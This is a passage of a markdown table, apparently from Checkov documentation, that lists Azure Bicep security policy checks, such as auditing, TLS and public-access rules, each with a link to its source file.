|\n|  22 | CKV_AZURE_17  | resource  | Microsoft.Web/sites                                                          | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                   | Bicep | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py)                                                               |\n|  23 | CKV_AZURE_18  | resource  | Microsoft.Web/sites                                                          | Ensure that 'HTTP Version' is the latest if used to run the web app                                               | Bicep | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py)                                                                     |\n|  24 | CKV_AZURE_19  | resource  | Microsoft.Security/pricings                                                  | Ensure that standard pricing tier is selected                                                                     | Bicep | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py)                                                           |\n|  25 | CKV_AZURE_20  | resource  | Microsoft.Security/securityContacts                                          | Ensure that security contact 'Phone number' is set                                                                | Bicep | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py)                                                                 |\n|  26 | CKV_AZURE_21  | resource  | Microsoft.Security/securityContacts                                          | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                     | Bicep | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py)                                                       |\n|  27 | CKV_AZURE_22  | resource  | Microsoft.Security/securityContacts                                          | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                     | Bicep | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py)                                           |\n|  28 | CKV_AZURE_23  | resource  | Microsoft.Sql/servers                                                        | Ensure that 'Auditing' is set to 'On' for SQL servers                                                             | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                           |\n|  29 | CKV_AZURE_23  | resource  | Microsoft.Sql/servers/auditingSettings                                       | Ensure that 'Auditing' is set to 'On' for SQL servers                                                             | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                           |\n|  30 | CKV_AZURE_23  | resource  | Microsoft.Sql/servers/databases                                              | Ensure that 'Auditing' is set to 'On' for SQL servers                                                             | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                           |\n|  31 | CKV_AZURE_23  | resource  | Microsoft.Sql/servers/databases/auditingSettings                             | Ensure that 'Auditing' is set to 'On' for SQL servers                                                             | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                           |\n|  32 | CKV_AZURE_24  | resource  | Microsoft.Sql/servers                                                        | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                        | Bicep | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml)                                           |\n|  33 | CKV_AZURE_24  | resource  | Microsoft.Sql/servers/auditingSettings                                       | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                        | Bicep | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml)                                           |\n|  34 | CKV_AZURE_25  | resource  | Microsoft.Sql/servers                                                        | Azure SQL Server threat detection alerts are enabled for all threat types                                         | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                 |\n|  35 | CKV_AZURE_25  | resource  | Microsoft.Sql/servers/databases                                              | Azure SQL Server threat detection alerts are enabled for all threat types                                         | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                 |\n|  36 | CKV_AZURE_25  | resource  | Microsoft.Sql/servers/databases/securityAlertPolicies                        | Azure SQL Server threat detection alerts are enabled for all threat types                                         | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                 |\n|  37 | CKV_AZURE_25  | resource  | Microsoft.Sql/servers/securityAlertPolicies                                  | Azure SQL Server threat detection alerts are enabled for all threat types                                         | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                 |\n|  38 | CKV_AZURE_26  | resource  | Microsoft.Sql/servers/databases                                              | Ensure that 'Send Alerts To' is enabled for MSSQL servers                                                         | Bicep | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py)                                                               |\n|  39 | CKV_AZURE_27  | resource  | Microsoft.Sql/servers/databases                                              | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers                                  | Bicep | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py)                                               |\n|  40 | CKV_AZURE_28  | resource  | Microsoft.DBforMySQL/servers                                                 | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server                                     | Bicep | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py)                                                     |\n|  41 | CKV_AZURE_29  | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server                                | Bicep | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py)                                           |\n|  42 | CKV_AZURE_30  | resource  | Microsoft.DBforPostgreSQL/servers/configurations                             | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                           | Bicep | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                           |\n|  43 | CKV_AZURE_30  | resource  | configurations                                                               | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                           | Bicep | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                           |\n|  44 | CKV_AZURE_31  | resource  | Microsoft.DBforPostgreSQL/servers/configurations                             | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                              | Bicep | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                           |\n|  45 | CKV_AZURE_31  | resource  | configurations                                                               | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                              | Bicep | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                           |\n|  46 | CKV_AZURE_32  | resource  | Microsoft.DBforPostgreSQL/servers/configurations                             | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                     | Bicep | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                               |\n|  47 | CKV_AZURE_32  | resource  | configurations                                                               | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                     | Bicep | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                               |\n|  48 | CKV_AZURE_33  | resource  | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings | Ensure Storage logging is enabled for Queue service for read, write and delete requests                           | Bicep | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py)                                     |\n|  49 | CKV_AZURE_34  | resource  | Microsoft.Storage/storageAccounts/blobServices/containers                    | Ensure that 'Public access level' is set to Private for blob containers                                           | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                     |\n|  50 | CKV_AZURE_34  | resource  | blobServices/containers                                                      | Ensure that 'Public access level' is set to Private for blob containers                                           | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                     |\n|  51 | CKV_AZURE_34  | resource  | containers                                                                   | Ensure that 'Public access level' is set to Private for blob containers                                           | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                     |\n|  52 | CKV_AZURE_35  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure default network access rule for Storage Accounts is set to deny                                            | Bicep | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py)                                 |\n|  53 | CKV_AZURE_36  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                         | Bicep | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py)                             |\n|  54 | CKV_AZURE_37  | resource  | Microsoft.Insights/logprofiles                                               | Ensure that Activity Log Retention is set 365 days or greater                                                     | Bicep | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py)                                                         |\n|  55 | CKV_AZURE_38  | resource  | Microsoft.Insights/logprofiles                                               | Ensure audit profile captures all the activities                                                                  | Bicep | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py)                                                               |\n|  56 | CKV_AZURE_39  | resource  | Microsoft.Authorization/roleDefinitions                                      | Ensure that no custom subscription owner roles are created                                                        | Bicep | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py)                                           |\n|  57 | CKV_AZURE_40  | resource  | Microsoft.KeyVault/vaults/keys                                               | Ensure that the expiration date is set on all keys                                                                | Bicep | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py)                                                                                   |\n|  58 | CKV_AZURE_41  | resource  | Microsoft.KeyVault/vaults/secrets                                            | Ensure that the expiration date is set on all secrets                                                             | Bicep | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py)                                                                             |\n|  59 | CKV_AZURE_42  | resource  | Microsoft.KeyVault/vaults                                                    | Ensure the key vault is recoverable                                                                               | Bicep | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py)                                                                       |\n|  60 | CKV_AZURE_43  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure Storage Accounts adhere to the naming rules                                                                | Bicep | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py)                                                                                 |\n|  61 | CKV_AZURE_44  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure Storage Account is using the latest version of TLS encryption                                              | Bicep | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py)                                                       |\n|  62 | CKV_AZURE_45  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that no sensitive credentials are exposed in VM custom_data                                                | Bicep | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py)                                                                               |\n|  63 | CKV_AZURE_47  | resource  | Microsoft.DBforMariaDB/servers                                               | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers                                           | Bicep | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py)                                                             |\n|  64 | CKV_AZURE_48  | resource  | Microsoft.DBforMariaDB/servers                                               | Ensure 'public network access enabled' is set to 'False' for MariaDB servers                                      | Bicep | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py)                                                               |\n|  65 | CKV_AZURE_49  | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)                               | Bicep | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py)                                                                           |\n|  66 | CKV_AZURE_50  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Virtual Machine Extensions are not Installed                                                               | Bicep | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py)                                                                       |\n|  67 | CKV_AZURE_52  | resource  | Microsoft.Sql/servers                                                        | Ensure MSSQL is using the latest version of TLS encryption                                                        | Bicep | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py)                                                                     |\n|  68 | CKV_AZURE_53  | resource  | Microsoft.DBforMySQL/flexibleServers                                         | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                        | Bicep | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                   |\n|  69 | CKV_AZURE_53  | resource  | Microsoft.DBforMySQL/servers                                                 | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                        | Bicep | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                   |\n|  70 | CKV_AZURE_54  | resource  | Microsoft.DBforMySQL/servers                                                 | Ensure MySQL is using the latest version of TLS encryption                                                        | Bicep | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py)                                                                     |\n|  71 | CKV_AZURE_56  | resource  | Microsoft.Web/sites/config                                                   | Ensure that function apps enables Authentication                                                                  | Bicep | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py)                                                     |\n|  72 | CKV_AZURE_57  | resource  | Microsoft.Web/sites                                                          | Ensure that CORS disallows every resource to access app services                                                  | Bicep | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py)                                                                         |\n|  73 | CKV_AZURE_58  | resource  | Microsoft.Synapse/workspaces                                                 | Ensure that Azure Synapse workspaces enables managed virtual networks                                             | Bicep | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py)                           |\n|  74 | CKV_AZURE_59  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure that Storage accounts disallow public access                                                               | Bicep | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py)                                                   |\n|  75 | CKV_AZURE_62  | resource  | Microsoft.Web/sites                                                          | Ensure function apps are not accessible from all regions                                                          | Bicep | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py)                                                                       |\n|  76 | CKV_AZURE_63  | resource  | Microsoft.Web/sites/config                                                   | Ensure that App service enables HTTP logging                                                                      | Bicep | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py)                                                             |\n|  77 | CKV_AZURE_64  | resource  | Microsoft.StorageSync/storageSyncServices                                    | Ensure that Azure File Sync disables public network access                                                        | Bicep | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py)                                                       |\n|  78 | CKV_AZURE_65  | resource  | Microsoft.Web/sites/config                                                   | Ensure that App service enables detailed error messages                                                           | Bicep | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py)                                         |\n|  79 | CKV_AZURE_66  | resource  | Microsoft.Web/sites/config                                                   | Ensure that App service enables failed request tracing                                                            | Bicep | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py)                                                           |\n|  80 | CKV_AZURE_67  | resource  | Microsoft.Web/sites                                                          | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                         | Bicep | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                             |\n|  81 | CKV_AZURE_67  | resource  | Microsoft.Web/sites/slots                                                    | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                         | Bicep | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                             |\n|  82 | CKV_AZURE_68  | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure that PostgreSQL server disables public network access                                                      | Bicep | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py)                                             |\n|  83 | CKV_AZURE_70  | resource  | Microsoft.Web/sites                                                          | Ensure that Function apps is only accessible over HTTPS                                                           | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                       |\n|  84 | CKV_AZURE_70  | resource  | Microsoft.Web/sites/config                                                   | Ensure that Function apps is only accessible over HTTPS                                                           | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                       |\n|  85 | CKV_AZURE_70  | resource  | Microsoft.Web/sites/slots                                                    | Ensure that Function apps is only accessible over HTTPS                                                           | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                       |\n|  86 | CKV_AZURE_71  | resource  | Microsoft.Web/sites                                                          | Ensure that Managed identity provider is enabled for web apps                                                     | Bicep | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py)                                                   |\n|  87 | CKV_AZURE_72  | resource  | Microsoft.Web/sites                                                          | Ensure that remote debugging is not enabled for app services                                                      | Bicep | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py)                                               |\n|  88 | CKV_AZURE_73  | resource  | Microsoft.Automation/automationAccounts/variables                            | Ensure that Automation account variables are encrypted                                                            | Bicep | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py)                                                                               |\n|  89 | CKV_AZURE_74  | resource  | Microsoft.Kusto/clusters                                                     | Ensure that Azure Data Explorer (Kusto) uses disk encryption                                                      | Bicep | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py)                                                         |\n|  90 | CKV_AZURE_75  | resource  | Microsoft.Kusto/clusters                                                     | Ensure that Azure Data Explorer uses double encryption                                                            | Bicep | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py)                                     |\n|  91 | CKV_AZURE_76  | resource  | Microsoft.Batch/batchAccounts                                                | Ensure that Azure Batch account uses key vault to encrypt data                                                    | Bicep | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py)                                       |\n|  92 | CKV_AZURE_78  | resource  | Microsoft.Web/sites                                                          | Ensure FTP deployments are disabled                                                                               | Bicep | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py)                                                                               |\n|  93 | CKV_AZURE_79  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for SQL servers on machines                                               | Bicep | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py)                                                             |\n|  94 | CKV_AZURE_80  | resource  | Microsoft.Web/sites/config                                                   | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                               | Bicep | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py)                                                     |\n|  95 | CKV_AZURE_81  | resource  | Microsoft.Web/sites                                                          | Ensure that 'PHP version' is the latest, if used to run the web app                                               | Bicep | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py)                                                                             |\n|  96 | CKV_AZURE_82  | resource  | Microsoft.Web/sites                                                          | Ensure that 'Python version' is the latest, if used to run the web app                                            | Bicep | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py)                                                                       |\n|  97 | CKV_AZURE_83  | resource  | Microsoft.Web/sites                                                          | Ensure that 'Java version' is the latest, if used to run the web app                                              | Bicep | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py)                                                                           |\n|  98 | CKV_AZURE_84  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for Storage                                                               | Bicep | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py)                                                                         |\n|  99 | CKV_AZURE_85  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for Kubernetes                                                            | Bicep | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py)                                                                   |\n| 100 | CKV_AZURE_87  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for Key Vault                                                             | Bicep | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py)                                                                     |\n| 101 | CKV_AZURE_88  | resource  | Microsoft.Web/sites/config                                                   | Ensure that app services use Azure Files                                                                          | Bicep | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py)                                                                     |\n| 102 | CKV_AZURE_89  | resource  | Microsoft.Cache/redis                                                        | Ensure that Azure Cache for Redis disables public network access                                                  | Bicep | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py)                                             |\n| 103 | CKV_AZURE_92  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that Virtual Machines use managed disks                                                                    | Bicep | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py)                                                                                       |\n| 104 | CKV_AZURE_93  | resource  | Microsoft.Compute/disks                                                      | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption      | Bicep | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py)                                                           |\n| 105 | CKV_AZURE_94  | resource  | Microsoft.DBforMySQL/flexibleServers                                         | Ensure that My SQL server enables geo-redundant backups                                                           | Bicep | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py)                                                                           |\n| 106 | CKV_AZURE_95  | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets                                 | Bicep | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py)                                           |\n| 107 | CKV_AZURE_96  | resource  | Microsoft.DBforMySQL/flexibleServers                                         | Ensure that MySQL server enables infrastructure encryption                                                        | Bicep | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py)                                                                         |\n| 108 | CKV_AZURE_97  | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure that Virtual machine scale sets have encryption at host enabled                                            | Bicep | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                   |\n| 109 | CKV_AZURE_97  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that Virtual machine scale sets have encryption at host enabled                                            | Bicep | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                   |\n| 110 | CKV_AZURE_99  | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure Cosmos DB accounts have restricted access                                                                  | Bicep | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py)                                                     |\n| 111 | CKV_AZURE_100 | resource  | Microsoft.DocumentDb/databaseAccounts                                        | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest                                 | Bicep | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py)                                                                                       |\n| 112 | CKV_AZURE_101 | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure that Azure Cosmos DB disables public network access                                                        | Bicep | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py)                                                           |\n| 113 | CKV_AZURE_102 | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure that PostgreSQL server enables geo-redundant backups                                                       | Bicep | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py)                                                             |\n| 114 | CKV_AZURE_103 | resource  | Microsoft.DataFactory/factories                                              | Ensure that Azure Data Factory uses Git repository for source control                                             | Bicep | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py)                                                             |\n| 115 | CKV_AZURE_104 | resource  | Microsoft.DataFactory/factories                                              | Ensure that Azure Data factory public network access is disabled                                                  | Bicep | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py)                                                     |\n| 116 | CKV_AZURE_105 | resource  | Microsoft.DataLakeStore/accounts                                             | Ensure that Data Lake Store accounts enables encryption                                                           | Bicep | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py)                                                                       |\n| 117 | CKV_AZURE_107 | resource  | Microsoft.ApiManagement/service                                              | Ensure that API management services use virtual networks                                                          | Bicep | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py)                                                             |\n| 118 | CKV_AZURE_109 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that key vault allows firewall rules settings     